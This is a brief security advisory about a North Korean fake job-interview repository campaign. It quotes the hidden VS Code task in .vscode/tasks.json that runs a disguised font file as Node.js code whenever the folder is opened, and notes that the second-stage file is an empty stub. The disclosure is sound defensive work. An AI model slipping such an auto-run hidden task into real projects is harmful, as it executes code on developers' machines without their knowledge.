GCVE-110-OSM-2023-68

DPRK Contagious Interview campaign (fake-font sub-campaign): repository contains a fake take-home/demo project with a hidden VS Code task that auto-executes a disguised font file via Node.js when the folder is opened. Malicious payload found in: .vscode/tasks.json Attack vector: Hidden VS Code task (label eslint-check, runOn: folderOpen, presentation.reveal: never, hide: true) that runs: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo '' Behavior: Attempts to execute a font file (fa-solid-400.woff2) as Node.js code automatically when VS Code opens the project folder, disguised as an eslint background check task. Payload status: In this repository the referenced .woff2 file is missing or a 0-byte empty stub (git empty-blob hash), so the execution trigger is present but currently has no live second-stage payload.